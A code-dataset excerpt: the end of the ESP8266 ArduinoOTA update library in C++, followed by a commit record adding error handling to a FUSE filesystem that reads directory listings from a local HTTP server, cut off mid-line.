ArduinoOTAClass::onError(OTA_CALLBACK_ERROR(fn)){\n    _error_callback = fn;\n}\n\nArduinoOTAClass::~ArduinoOTAClass(){\n    delete _udp_ota;\n}\n\nvoid ArduinoOTAClass::setPort(uint16_t port){\n  if(!_initialized && !_port && port){\n    _port = port;\n  }\n}\n\nvoid ArduinoOTAClass::setHostname(const char * hostname){\n  if(!_initialized && !_hostname && hostname){\n    _hostname = new char[strlen(hostname)];\n    sprintf(_hostname, \"%s\", hostname);\n  }\n}\n\nvoid ArduinoOTAClass::setPassword(const char * password){\n  if(!_initialized && !_password && password){\n    _password = new char[strlen(password)];\n    sprintf(_password, \"%s\", password);\n  }\n}\n\nvoid ArduinoOTAClass::begin() {\n  if(_initialized)\n    return;\n  _initialized = true;\n  if(!_hostname){\n    _hostname = new char[15];\n    sprintf(_hostname, \"esp8266-%02x\", ESP.getChipId());\n  }\n  if(!_port)\n    _port = 8266;\n  \n  _udp_ota->begin(_port);\n  MDNS.begin(_hostname);\n  if(_password){\n    _nonce = new char[33];\n    MDNS.enableArduino(_port, true);\n  } else \n    MDNS.enableArduino(_port);\n  _state = OTA_IDLE;\n#if OTA_DEBUG\n  Serial.printf(\"OTA server at: %s.local:%u\\n\", _hostname, _port);\n#endif\n}\n\nvoid ArduinoOTAClass::_runUpdate(){\n  if(!Update.begin(_size, _cmd)){\n#if OTA_DEBUG\n    Serial.println(\"Update Begin Error\");\n#endif\n    if (_error_callback) _error_callback(OTA_BEGIN_ERROR);\n    _udp_ota->begin(_port);\n    _state = OTA_IDLE;\n    return;\n  }\n  Update.setMD5(_md5);\n  WiFiUDP::stopAll();\n  WiFiClient::stopAll();\n  \n  \n  if (_start_callback) _start_callback();\n  if (_progress_callback) _progress_callback(0, _size);\n\n  WiFiClient client;\n  if (!client.connect(_ota_ip, _ota_port)) {\n#if OTA_DEBUG\n    Serial.printf(\"Connect Failed\\n\");\n#endif\n    _udp_ota->begin(_port);\n    if (_error_callback) _error_callback(OTA_CONNECT_ERROR);\n    _state = OTA_IDLE;\n  }\n\n  uint32_t written, total = 0;\n  while(!Update.isFinished() && client.connected()){\n    int waited = 1000;\n    while(!client.available() && waited--)\n      delay(1);\n    if(!waited){\n#if OTA_DEBUG\n      Serial.printf(\"Recieve Failed\\n\");\n#endif\n      _udp_ota->begin(_port);\n      if (_error_callback) _error_callback(OTA_RECIEVE_ERROR);\n      _state = OTA_IDLE;\n    }\n    written = Update.write(client); \n    if(written > 0){\n      client.print(written, DEC);\n      total += written;\n      if(_progress_callback) _progress_callback(total, _size);\n    }\n  }\n\n  if(Update.end()){\n    client.print(\"OK\");\n    client.stop();\n    delay(10);\n#if OTA_DEBUG\n    Serial.printf(\"Update Success\\nRebooting...\\n\");\n#endif\n    if(_end_callback) _end_callback();\n    ESP.restart();\n  } else {\n    _udp_ota->begin(_port);\n    if (_error_callback) _error_callback(OTA_END_ERROR);\n    Update.printError(client);\n#if OTA_DEBUG\n    Update.printError(Serial);\n#endif\n    _state = OTA_IDLE;\n  }\n}\n\nvoid ArduinoOTAClass::handle() {\n  if (!*_udp_ota) {\n    _udp_ota->begin(_port); \n#if OTA_DEBUG\n    Serial.println(\"OTA restarted\"); \n#endif\n  }\n\n  if (!_udp_ota->parsePacket()) return;\n\n  if(_state == OTA_IDLE){\n    int cmd = _udp_ota->parseInt();\n    if(cmd != U_FLASH && cmd != U_SPIFFS)\n      return;\n    _ota_ip = _udp_ota->remoteIP();\n    _cmd  = cmd;\n    _ota_port = _udp_ota->parseInt();\n    _size = _udp_ota->parseInt();\n    _udp_ota->read();\n    sprintf(_md5, \"%s\", _udp_ota->readStringUntil('\\n').c_str());\n    if(strlen(_md5) != 32)\n      return;\n\n#if OTA_DEBUG\n    Serial.print(\"Update Start: ip:\");\n    Serial.print(_ota_ip);\n    Serial.printf(\", port:%d, size:%d, md5:%s\\n\", _ota_port, _size, _md5);\n#endif\n    \n    _udp_ota->beginPacket(_ota_ip, _udp_ota->remotePort());\n    if(_password){\n      MD5Builder nonce_md5;\n      nonce_md5.begin();\n      nonce_md5.add(String(micros()));\n      nonce_md5.calculate();\n      nonce_md5.getChars(_nonce);\n      _udp_ota->printf(\"AUTH %s\", _nonce);\n      _udp_ota->endPacket();\n      _state = OTA_WAITAUTH;\n      return;\n    } else {\n      _udp_ota->print(\"OK\");\n      _udp_ota->endPacket();\n      _state = OTA_RUNUPDATE;\n    }\n  } else if(_state == OTA_WAITAUTH){\n    int cmd = _udp_ota->parseInt();\n    if(cmd != U_AUTH){\n      _state = OTA_IDLE;\n      return;\n    }\n    _udp_ota->read();\n    String cnonce = _udp_ota->readStringUntil(' ');\n    String response = _udp_ota->readStringUntil('\\n');\n    if(cnonce.length() != 32 || response.length() != 32){\n      _state = OTA_IDLE;\n      return;\n    }\n    \n    MD5Builder _passmd5;\n    _passmd5.begin();\n    _passmd5.add(_password);\n    _passmd5.calculate();\n    String passmd5 = _passmd5.toString();\n\n    String challenge = passmd5 + \":\" + String(_nonce) + \":\" + cnonce;\n    MD5Builder _challengemd5;\n    _challengemd5.begin();\n    _challengemd5.add(challenge);\n    _challengemd5.calculate();\n    String result = _challengemd5.toString();\n\n    if(result.equals(response)){\n      _udp_ota->beginPacket(_ota_ip, _udp_ota->remotePort());\n      _udp_ota->print(\"OK\");\n      _udp_ota->endPacket();\n      _state = OTA_RUNUPDATE;\n    } else {\n      _udp_ota->beginPacket(_ota_ip, _udp_ota->remotePort());\n      _udp_ota->print(\"Authentication Failed\");\n      _udp_ota->endPacket();\n      if (_error_callback) _error_callback(OTA_AUTH_ERROR);\n      _state = OTA_IDLE;\n    }\n  }\n  \n  if(_state == OTA_RUNUPDATE)\n    _runUpdate();\n}\n\nArduinoOTAClass ArduinoOTA;\n<|endoftext|>"}
{"text":"<commit_before>#include \"mount.hpp\"\n#include <silicium\/ptr_observable.hpp>\n#include <silicium\/error_or.hpp>\n#include <silicium\/connecting_observable.hpp>\n#include <silicium\/coroutine.hpp>\n#include <silicium\/virtualized_observable.hpp>\n#include <silicium\/received_from_socket_source.hpp>\n#include <silicium\/sending_observable.hpp>\n#include <silicium\/virtualized_source.hpp>\n#include <silicium\/observable_source.hpp>\n#include <silicium\/http\/http.hpp>\n#include <silicium\/thread.hpp>\n#include <silicium\/std_threading.hpp>\n#include <server\/path.hpp>\n#include <server\/directory_listing.hpp>\n#include <fuse.h>\n#include <future>\n#include <boost\/ref.hpp>\n\nnamespace fileserver\n{\n\tnamespace\n\t{\n\t\tusing file_offset = std::intmax_t;\n\n\t\tstruct linear_file\n\t\t{\n\t\t\tfile_offset size;\n\t\t\tSi::unique_observable<Si::error_or<Si::incoming_bytes>> content;\n\t\t};\n\n\t\tstruct file_service\n\t\t{\n\t\t\tvirtual ~file_service();\n\t\t\tvirtual Si::unique_observable<Si::error_or<linear_file>> open(unknown_digest const &name) = 0;\n\t\t};\n\n\t\tfile_service::~file_service()\n\t\t{\n\t\t}\n\n\t\tstruct http_file_service : file_service\n\t\t{\n\t\t\texplicit http_file_service(boost::asio::io_service &io, boost::asio::ip::tcp::endpoint server)\n\t\t\t\t: io(&io)\n\t\t\t\t, server(server)\n\t\t\t{\n\t\t\t}\n\n\t\t\tvirtual Si::unique_observable<Si::error_or<linear_file>> open(unknown_digest const &name) SILICIUM_OVERRIDE\n\t\t\t{\n\t\t\t\treturn Si::erase_unique(Si::make_coroutine<Si::error_or<linear_file>>(std::bind(&http_file_service::open_impl, this, std::placeholders::_1, name)));\n\t\t\t}\n\n\t\tprivate:\n\n\t\t\tboost::asio::io_service *io = nullptr;\n\t\t\tboost::asio::ip::tcp::endpoint server;\n\n\t\t\tvoid open_impl(\n\t\t\t\tSi::yield_context<Si::error_or<linear_file>> yield,\n\t\t\t\tunknown_digest const &requested_name)\n\t\t\t{\n\t\t\t\tauto socket = std::make_shared<boost::asio::ip::tcp::socket>(*io);\n\t\t\t\tSi::connecting_observable connector(*socket, server);\n\t\t\t\t{\n\t\t\t\t\tboost::optional<boost::system::error_code> const ec = yield.get_one(connector);\n\t\t\t\t\tassert(ec);\n\t\t\t\t\tif (*ec)\n\t\t\t\t\t{\n\t\t\t\t\t\treturn yield(*ec);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tstd::vector<char> request_buffer;\n\t\t\t\t{\n\t\t\t\t\tSi::http::request_header request;\n\t\t\t\t\trequest.http_version = \"HTTP\/1.0\";\n\t\t\t\t\trequest.method = \"GET\";\n\t\t\t\t\trequest.path = \"\/\";\n\t\t\t\t\tencode_ascii_hex_digits(requested_name.begin(), requested_name.end(), std::back_inserter(request.path));\n\t\t\t\t\trequest.arguments[\"Host\"] = server.address().to_string();\n\t\t\t\t\tauto request_sink = Si::make_container_sink(request_buffer);\n\t\t\t\t\tSi::http::write_header(request_sink, request);\n\t\t\t\t}\n\t\t\t\tSi::sending_observable sending(*socket, boost::make_iterator_range(request_buffer.data(), request_buffer.data() + request_buffer.size()));\n\t\t\t\t{\n\t\t\t\t\tboost::optional<Si::error_or<std::size_t>> const ec = yield.get_one(sending);\n\t\t\t\t\tassert(ec);\n\t\t\t\t\tif (ec->error())\n\t\t\t\t\t{\n\t\t\t\t\t\treturn yield(*ec->error());\n\t\t\t\t\t}\n\t\t\t\t\tassert(ec->get() == request_buffer.size());\n\t\t\t\t}\n\n\t\t\t\tstd::array<char, 8192> buffer;\n\t\t\t\tSi::socket_observable receiving(*socket, boost::make_iterator_range(buffer.data(), buffer.data() + buffer.size()));\n\t\t\t\tauto receiving_source = Si::virtualize_source(Si::make_observable_source(std::move(receiving), yield));\n\t\t\t\tSi::received_from_socket_source response_source(receiving_source);\n\t\t\t\tboost::optional<Si::http::response_header> const response_header = Si::http::parse_response_header(response_source);\n\t\t\t\tif (!response_header)\n\t\t\t\t{\n\t\t\t\t\tthrow std::logic_error(\"todo 1\");\n\t\t\t\t}\n\n\t\t\t\tauto content_length_header = response_header->arguments.find(\"Content-Length\");\n\t\t\t\tif (content_length_header == response_header->arguments.end())\n\t\t\t\t{\n\t\t\t\t\tthrow std::logic_error(\"todo 2\");\n\t\t\t\t}\n\n\t\t\t\tstd::vector<byte> first_part(response_source.buffered().begin, response_source.buffered().end);\n\t\t\t\tfile_offset const file_size = boost::lexical_cast<file_offset>(content_length_header->second);\n\t\t\t\tlinear_file file{file_size, Si::erase_unique(Si::make_coroutine<Si::error_or<Si::incoming_bytes>>(\n\t\t\t\t\t[first_part, socket, file_size]\n\t\t\t\t\t\t(Si::yield_context<Si::error_or<Si::incoming_bytes>> yield)\n\t\t\t\t\t{\n\t\t\t\t\t\tyield(Si::incoming_bytes(\n\t\t\t\t\t\t\treinterpret_cast<char const *>(first_part.data()),\n\t\t\t\t\t\t\treinterpret_cast<char const *>(first_part.data() + first_part.size())));\n\t\t\t\t\t\tfile_offset receive_counter = first_part.size();\n\t\t\t\t\t\tstd::array<char, 8192> buffer;\n\t\t\t\t\t\tSi::socket_observable receiving(*socket, boost::make_iterator_range(buffer.data(), buffer.data() + buffer.size()));\n\t\t\t\t\t\twhile (receive_counter < file_size)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tauto piece = yield.get_one(receiving);\n\t\t\t\t\t\t\tif (!piece)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (!piece->is_error())\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\treceive_counter += piece->get().size();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tyield(*piece);\n\t\t\t\t\t\t}\n\t\t\t\t\t}))};\n\t\t\t\tyield(std::move(file));\n\t\t\t}\n\t\t};\n\n\t\tstruct file_system\n\t\t{\n\t\t\tboost::asio::io_service io;\n\t\t\tstd::unique_ptr<file_service> backend;\n\t\t\tstd::future<void> worker;\n\t\t\tboost::optional<boost::asio::io_service::work> keep_running;\n\t\t\tunknown_digest root;\n\t\t};\n\n\t\tchar const * const hello_path = \"\/hello\";\n\t\tchar const * const hello_str = \"Hello, fuse!\\n\";\n\n\t\tunknown_digest root;\n\n\t\tvoid *init(struct fuse_conn_info *conn)\n\t\t{\n\t\t\tassert(!root.empty());\n\t\t\tauto fs = Si::make_unique<file_system>();\n\t\t\tfs->backend = Si::make_unique<http_file_service>(fs->io, boost::asio::ip::tcp::endpoint(boost::asio::ip::address_v4::loopback(), 8080));\n\t\t\tfs->keep_running = boost::in_place(boost::ref(fs->io));\n\t\t\tauto &io = fs->io;\n\t\t\tfs->worker = std::async(std::launch::async, [&io]()\n\t\t\t{\n\t\t\t\tio.run();\n\t\t\t});\n\t\t\tfs->root = std::move(root);\n\t\t\treturn fs.release();\n\t\t}\n\n\t\tvoid destroy(void *private_data)\n\t\t{\n\t\t\tstd::unique_ptr<file_system>(static_cast<file_system *>(private_data));\n\t\t}\n\n\t\tint hello_getattr(const char *path, struct stat *stbuf)\n\t\t{\n\t\t\tint res = 0;\n\n\t\t\tmemset(stbuf, 0, sizeof(struct stat));\n\t\t\tif (strcmp(path, \"\/\") == 0) {\n\t\t\t\tstbuf->st_mode = S_IFDIR | 0755;\n\t\t\t\tstbuf->st_nlink = 2;\n\t\t\t} else if (strcmp(path, hello_path) == 0) {\n\t\t\t\tstbuf->st_mode = S_IFREG | 0444;\n\t\t\t\tstbuf->st_nlink = 1;\n\t\t\t\tstbuf->st_size = strlen(hello_str);\n\t\t\t} else\n\t\t\t\tres = -ENOENT;\n\n\t\t\treturn res;\n\t\t}\n\n\t\tstruct local_yield_context : Si::detail::yield_context_impl<Si::nothing>\n\t\t{\n\t\t\tvirtual void push_result(Si::nothing result) SILICIUM_OVERRIDE\n\t\t\t{\n\t\t\t\tboost::ignore_unused(result);\n\t\t\t\tSILICIUM_UNREACHABLE();\n\t\t\t}\n\n\t\t\tvirtual void get_one(Si::observable<Si::nothing> &target) SILICIUM_OVERRIDE\n\t\t\t{\n\t\t\t\tSi::detail::event<Si::std_threading> waiting;\n\t\t\t\twaiting.block(Si::ref(target));\n\t\t\t}\n\t\t};\n\n\t\tint hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler,\n\t\t\t\t\t off_t offset, struct fuse_file_info *fi)\n\t\t{\n\t\t\t(void) offset;\n\t\t\t(void) fi;\n\n\t\t\tSi::error_or<linear_file> file;\n\t\t\tfile_system * const fs = static_cast<file_system *>(fuse_get_context()->private_data);\n\t\t\tSi::detail::event<Si::std_threading> waiting;\n\t\t\twaiting.block(Si::transform(fs->backend->open(fs->root), [&file](Si::error_or<linear_file> opened_file)\n\t\t\t{\n\t\t\t\tfile = std::move(opened_file);\n\t\t\t\treturn Si::nothing();\n\t\t\t}));\n\n\t\t\tif (file.is_error())\n\t\t\t{\n\t\t\t\treturn -ENOENT;\n\t\t\t}\n\n\t\t\tlocal_yield_context yield_impl;\n\t\t\tSi::yield_context<Si::nothing> yield(yield_impl);\n\t\t\tauto receiving_source = Si::virtualize_source(Si::make_observable_source(std::move(file).get().content, yield));\n\t\t\tSi::received_from_socket_source content_source(receiving_source);\n\t\t\tauto parsed = deserialize_json(std::move(content_source));\n\t\t\treturn Si::visit<int>(\n\t\t\t\tparsed,\n\t\t\t\t[buf, filler](std::unique_ptr<directory_listing> &listing)\n\t\t\t{\n\t\t\t\tfiller(buf, \".\", NULL, 0);\n\t\t\t\tfiller(buf, \"..\", NULL, 0);\n\t\t\t\tfor (auto const &entry : listing->entries)\n\t\t\t\t{\n\t\t\t\t\tstruct stat s{};\n\t\t\t\t\ts.st_size = 100;\n\t\t\t\t\ts.st_mode = 0777 | __S_IFREG;\n\t\t\t\t\tfiller(buf, entry.first.c_str(), &s, 0);\n\t\t\t\t}\n\t\t\t\treturn 0;\n\t\t\t},\n\t\t\t\t[](std::size_t)\n\t\t\t{\n\t\t\t\treturn -ENOENT;\n\t\t\t});\n\t\t}\n\n\t\tint hello_open(const char *path, struct fuse_file_info *fi)\n\t\t{\n\t\t\tif (strcmp(path, hello_path) != 0)\n\t\t\t\treturn -ENOENT;\n\n\t\t\tif ((fi->flags & 3) != O_RDONLY)\n\t\t\t\treturn -EACCES;\n\n\t\t\treturn 0;\n\t\t}\n\n\t\tint hello_read(const char *path, char *buf, size_t size, off_t offset,\n\t\t\t\t\t  struct fuse_file_info *fi)\n\t\t{\n\t\t\tsize_t len;\n\t\t\t(void) fi;\n\t\t\tif(strcmp(path, hello_path) != 0)\n\t\t\t\treturn -ENOENT;\n\n\t\t\tlen = strlen(hello_str);\n\t\t\tif (static_cast<size_t>(offset) < len) {\n\t\t\t\tif (offset + size > len)\n\t\t\t\t\tsize = len - offset;\n\t\t\t\tmemcpy(buf, hello_str + offset, size);\n\t\t\t} else\n\t\t\t\tsize = 0;\n\n\t\t\treturn static_cast<int>(size);\n\t\t}\n\n\t\tstruct user_data_for_fuse\n\t\t{\n\n\t\t};\n\n\t\tstruct chan_deleter\n\t\t{\n\t\t\tfileserver::path mount_point;\n\n\t\t\tvoid operator()(fuse_chan *chan) const\n\t\t\t{\n\t\t\t\tfuse_unmount(mount_point.c_str(), chan);\n\t\t\t}\n\t\t};\n\n\t\tstruct fuse_deleter\n\t\t{\n\t\t\tvoid operator()(fuse *f) const\n\t\t\t{\n\t\t\t\tfuse_destroy(f);\n\t\t\t}\n\t\t};\n\t}\n\n\tvoid mount_directory(unknown_digest const &root_digest, boost::filesystem::path const &mount_point)\n\t{\n\t\tchan_deleter deleter;\n\t\tdeleter.mount_point = fileserver::path(mount_point);\n\t\tfuse_args args{};\n\t\tstd::unique_ptr<fuse_chan, chan_deleter> chan(fuse_mount(mount_point.c_str(), &args), std::move(deleter));\n\t\tif (!chan)\n\t\t{\n\t\t\tthrow std::runtime_error(\"fuse_mount failure\");\n\t\t}\n\t\tfuse_operations operations{};\n\t\toperations.init = init;\n\t\toperations.destroy = destroy;\n\t\toperations.getattr = hello_getattr;\n\t\toperations.readdir = hello_readdir;\n\t\toperations.open = hello_open;\n\t\toperations.read = hello_read;\n\t\troot = root_digest;\n\t\tuser_data_for_fuse user_data;\n\t\tstd::unique_ptr<fuse, fuse_deleter> const f(fuse_new(chan.get(), &args, &operations, sizeof(operations), &user_data));\n\t\tif (!f)\n\t\t{\n\t\t\tthrow std::runtime_error(\"fuse_new failure\");\n\t\t}\n\n\t\t\/\/fuse_new seems to take ownership of the fuse_chan\n\t\tchan.release();\n\n\t\tfuse_loop(f.get());\n\t}\n}\n<commit_msg>improve error handling<commit_after>#include \"mount.hpp\"\n#include <silicium\/ptr_observable.hpp>\n#include <silicium\/error_or.hpp>\n#include <silicium\/connecting_observable.hpp>\n#include <silicium\/coroutine.hpp>\n#include <silicium\/virtualized_observable.hpp>\n#include <silicium\/received_from_socket_source.hpp>\n#include <silicium\/sending_observable.hpp>\n#include <silicium\/virtualized_source.hpp>\n#include <silicium\/observable_source.hpp>\n#include <silicium\/http\/http.hpp>\n#include <silicium\/thread.hpp>\n#include <silicium\/std_threading.hpp>\n#include <server\/path.hpp>\n#include <server\/directory_listing.hpp>\n#include <fuse.h>\n#include <future>\n#include <boost\/ref.hpp>\n\nnamespace fileserver\n{\n\tenum class service_error\n\t{\n\t\tfile_not_found\n\t};\n\n\tstruct service_error_category : boost::system::error_category\n\t{\n\t\tvirtual const char *name() const BOOST_SYSTEM_NOEXCEPT SILICIUM_OVERRIDE\n\t\t{\n\t\t\treturn \"service error\";\n\t\t}\n\n\t\tvirtual std::string message(int ev) const SILICIUM_OVERRIDE\n\t\t{\n\t\t\tswitch (ev)\n\t\t\t{\n\t\t\tcase static_cast<int>(service_error::file_not_found): return \"file not found\";\n\t\t\t}\n\t\t\tSILICIUM_UNREACHABLE();\n\t\t}\n\n\t\tvirtual bool equivalent(\n\t\t\tboost::system::error_code const &code,\n\t\t\tint condition) const BOOST_SYSTEM_NOEXCEPT SILICIUM_OVERRIDE\n\t\t{\n\t\t\tboost::ignore_unused_variable_warning(code);\n\t\t\tboost::ignore_unused_variable_warning(condition);\n\t\t\treturn false;\n\t\t}\n\t};\n\n\tinline boost::system::error_category const &get_system_error_category()\n\t{\n\t\tstatic service_error_category const instance;\n\t\treturn instance;\n\t}\n\n\tinline boost::system::error_code make_error_code(service_error error)\n\t{\n\t\treturn boost::system::error_code(static_cast<int>(error), get_system_error_category());\n\t}\n}\n\nnamespace boost\n{\n\tnamespace system\n\t{\n\t\ttemplate<>\n\t    struct is_error_code_enum<fileserver::service_error> : std::true_type\n\t\t{\n\t\t};\n\t}\n}\n\nnamespace fileserver\n{\n\tnamespace\n\t{\n\n\t\tusing file_offset = std::intmax_t;\n\n\t\tstruct linear_file\n\t\t{\n\t\t\tfile_offset size;\n\t\t\tSi::unique_observable<Si::error_or<Si::incoming_bytes>> content;\n\t\t};\n\n\t\tstruct file_service\n\t\t{\n\t\t\tvirtual ~file_service();\n\t\t\tvirtual Si::unique_observable<Si::error_or<linear_file>> open(unknown_digest const &name) = 0;\n\t\t};\n\n\t\tfile_service::~file_service()\n\t\t{\n\t\t}\n\n\t\tstruct http_file_service : file_service\n\t\t{\n\t\t\texplicit http_file_service(boost::asio::io_service &io, boost::asio::ip::tcp::endpoint server)\n\t\t\t\t: io(&io)\n\t\t\t\t, server(server)\n\t\t\t{\n\t\t\t}\n\n\t\t\tvirtual Si::unique_observable<Si::error_or<linear_file>> open(unknown_digest const &name) SILICIUM_OVERRIDE\n\t\t\t{\n\t\t\t\treturn Si::erase_unique(Si::make_coroutine<Si::error_or<linear_file>>(std::bind(&http_file_service::open_impl, this, std::placeholders::_1, name)));\n\t\t\t}\n\n\t\tprivate:\n\n\t\t\tboost::asio::io_service *io = nullptr;\n\t\t\tboost::asio::ip::tcp::endpoint server;\n\n\t\t\tvoid open_impl(\n\t\t\t\tSi::yield_context<Si::error_or<linear_file>> yield,\n\t\t\t\tunknown_digest const &requested_name)\n\t\t\t{\n\t\t\t\tauto socket = std::make_shared<boost::asio::ip::tcp::socket>(*io);\n\t\t\t\tSi::connecting_observable connector(*socket, server);\n\t\t\t\t{\n\t\t\t\t\tboost::optional<boost::system::error_code> const ec = yield.get_one(connector);\n\t\t\t\t\tassert(ec);\n\t\t\t\t\tif (*ec)\n\t\t\t\t\t{\n\t\t\t\t\t\treturn yield(*ec);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tstd::vector<char> request_buffer;\n\t\t\t\t{\n\t\t\t\t\tSi::http::request_header request;\n\t\t\t\t\trequest.http_version = \"HTTP\/1.0\";\n\t\t\t\t\trequest.method = \"GET\";\n\t\t\t\t\trequest.path = \"\/\";\n\t\t\t\t\tencode_ascii_hex_digits(requested_name.begin(), requested_name.end(), std::back_inserter(request.path));\n\t\t\t\t\trequest.arguments[\"Host\"] = server.address().to_string();\n\t\t\t\t\tauto request_sink = Si::make_container_sink(request_buffer);\n\t\t\t\t\tSi::http::write_header(request_sink, request);\n\t\t\t\t}\n\t\t\t\tSi::sending_observable sending(*socket, boost::make_iterator_range(request_buffer.data(), request_buffer.data() + request_buffer.size()));\n\t\t\t\t{\n\t\t\t\t\tboost::optional<Si::error_or<std::size_t>> const ec = yield.get_one(sending);\n\t\t\t\t\tassert(ec);\n\t\t\t\t\tif (ec->error())\n\t\t\t\t\t{\n\t\t\t\t\t\treturn yield(*ec->error());\n\t\t\t\t\t}\n\t\t\t\t\tassert(ec->get() == request_buffer.size());\n\t\t\t\t}\n\n\t\t\t\tstd::array<char, 8192> buffer;\n\t\t\t\tSi::socket_observable receiving(*socket, boost::make_iterator_range(buffer.data(), buffer.data() + buffer.size()));\n\t\t\t\tauto receiving_source = Si::virtualize_source(Si::make_observable_source(std::move(receiving), yield));\n\t\t\t\tSi::received_from_socket_source response_source(receiving_source);\n\t\t\t\tboost::optional<Si::http::response_header> const response_header = Si::http::parse_response_header(response_source);\n\t\t\t\tif (!response_header)\n\t\t\t\t{\n\t\t\t\t\tthrow std::logic_error(\"todo 1\");\n\t\t\t\t}\n\n\t\t\t\tif (response_header->status != 200)\n\t\t\t\t{\n\t\t\t\t\treturn yield(boost::system::error_code(service_error::file_not_found));\n\t\t\t\t}\n\n\t\t\t\tauto content_length_header = response_header->arguments.find(\"Content-Length\");\n\t\t\t\tif (content_length_header == response_header->arguments.end())\n\t\t\t\t{\n\t\t\t\t\tthrow std::logic_error(\"todo 2\");\n\t\t\t\t}\n\n\t\t\t\tstd::vector<byte> first_part(response_source.buffered().begin, response_source.buffered().end);\n\t\t\t\tfile_offset const file_size = boost::lexical_cast<file_offset>(content_length_header->second);\n\t\t\t\tlinear_file file{file_size, Si::erase_unique(Si::make_coroutine<Si::error_or<Si::incoming_bytes>>(\n\t\t\t\t\t[first_part, socket, file_size]\n\t\t\t\t\t\t(Si::yield_context<Si::error_or<Si::incoming_bytes>> yield)\n\t\t\t\t\t{\n\t\t\t\t\t\tyield(Si::incoming_bytes(\n\t\t\t\t\t\t\treinterpret_cast<char const *>(first_part.data()),\n\t\t\t\t\t\t\treinterpret_cast<char const *>(first_part.data() + first_part.size())));\n\t\t\t\t\t\tfile_offset receive_counter = first_part.size();\n\t\t\t\t\t\tstd::array<char, 8192> buffer;\n\t\t\t\t\t\tSi::socket_observable receiving(*socket, boost::make_iterator_range(buffer.data(), buffer.data() + buffer.size()));\n\t\t\t\t\t\twhile (receive_counter < file_size)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tauto piece = yield.get_one(receiving);\n\t\t\t\t\t\t\tif (!piece)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (!piece->is_error())\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\treceive_counter += piece->get().size();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tyield(*piece);\n\t\t\t\t\t\t}\n\t\t\t\t\t}))};\n\t\t\t\tyield(std::move(file));\n\t\t\t}\n\t\t};\n\n\t\tstruct file_system\n\t\t{\n\t\t\tboost::asio::io_service io;\n\t\t\tstd::unique_ptr<file_service> backend;\n\t\t\tstd::future<void> worker;\n\t\t\tboost::optional<boost::asio::io_service::work> keep_running;\n\t\t\tunknown_digest root;\n\t\t};\n\n\t\tchar const * const hello_path = \"\/hello\";\n\t\tchar const * const hello_str = \"Hello, fuse!\\n\";\n\n\t\tunknown_digest root;\n\n\t\tvoid *init(struct fuse_conn_info *conn)\n\t\t{\n\t\t\tassert(!root.empty());\n\t\t\tauto fs = Si::make_unique<file_system>();\n\t\t\tfs->backend = Si::make_unique<http_file_service>(fs->io, boost::asio::ip::tcp::endpoint(boost::asio::ip::address_v4::loopback(), 8080));\n\t\t\tfs->keep_running = boost::in_place(boost::ref(fs->io));\n\t\t\tauto &io = fs->io;\n\t\t\tfs->worker = std::async(std::launch::async, [&io]()\n\t\t\t{\n\t\t\t\tfor (;;)\n\t\t\t\t{\n\t\t\t\t\ttry\n\t\t\t\t\t{\n\t\t\t\t\t\tio.run();\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\tcatch (...)\n\t\t\t\t\t{\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\t\t\tfs->root = std::move(root);\n\t\t\treturn fs.release();\n\t\t}\n\n\t\tvoid destroy(void *private_data)\n\t\t{\n\t\t\tstd::unique_ptr<file_system>(static_cast<file_system *>(private_data));\n\t\t}\n\n\t\tint hello_getattr(const char *path, struct stat *stbuf)\n\t\t{\n\t\t\tint res = 0;\n\n\t\t\tmemset(stbuf, 0, sizeof(struct stat));\n\t\t\tif (strcmp(path, \"\/\") == 0) {\n\t\t\t\tstbuf->st_mode = S_IFDIR | 0755;\n\t\t\t\tstbuf->st_nlink = 2;\n\t\t\t} else if (strcmp(path, hello_path) == 0) {\n\t\t\t\tstbuf->st_mode = S_IFREG | 0444;\n\t\t\t\tstbuf->st_nlink = 1;\n\t\t\t\tstbuf->st_size = strlen(hello_str);\n\t\t\t} else\n\t\t\t\tres = -ENOENT;\n\n\t\t\treturn res;\n\t\t}\n\n\t\tstruct local_yield_context : Si::detail::yield_context_impl<Si::nothing>\n\t\t{\n\t\t\tvirtual void push_result(Si::nothing result) SILICIUM_OVERRIDE\n\t\t\t{\n\t\t\t\tboost::ignore_unused(result);\n\t\t\t\tSILICIUM_UNREACHABLE();\n\t\t\t}\n\n\t\t\tvirtual void get_one(Si::observable<Si::nothing> &target) SILICIUM_OVERRIDE\n\t\t\t{\n\t\t\t\tSi::detail::event<Si::std_threading> waiting;\n\t\t\t\twaiting.block(Si::ref(target));\n\t\t\t}\n\t\t};\n\n\t\tint hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler,\n\t\t\t\t\t off_t offset, struct fuse_file_info *fi)\n\t\t{\n\t\t\t(void) offset;\n\t\t\t(void) fi;\n\n\t\t\ttry\n\t\t\t{\n\t\t\t\tSi::error_or<linear_file> file;\n\t\t\t\tfile_system * const fs = static_cast<file_system *>(fuse_get_context()->private_data);\n\t\t\t\tSi::detail::event<Si::std_threading> waiting;\n\t\t\t\twaiting.block(Si::transform(fs->backend->open(fs->root), [&file](Si::error_or<linear_file> opened_file)\n\t\t\t\t{\n\t\t\t\t\tfile = std::move(opened_file);\n\t\t\t\t\treturn Si::nothing();\n\t\t\t\t}));\n\n\t\t\t\tif (file.is_error())\n\t\t\t\t{\n\t\t\t\t\treturn -ENOENT;\n\t\t\t\t}\n\n\t\t\t\tlocal_yield_context yield_impl;\n\t\t\t\tSi::yield_context<Si::nothing> yield(yield_impl);\n\t\t\t\tauto receiving_source = Si::virtualize_source(Si::make_observable_source(std::move(file).get().content, yield));\n\t\t\t\tSi::received_from_socket_source content_source(receiving_source);\n\t\t\t\tauto parsed = 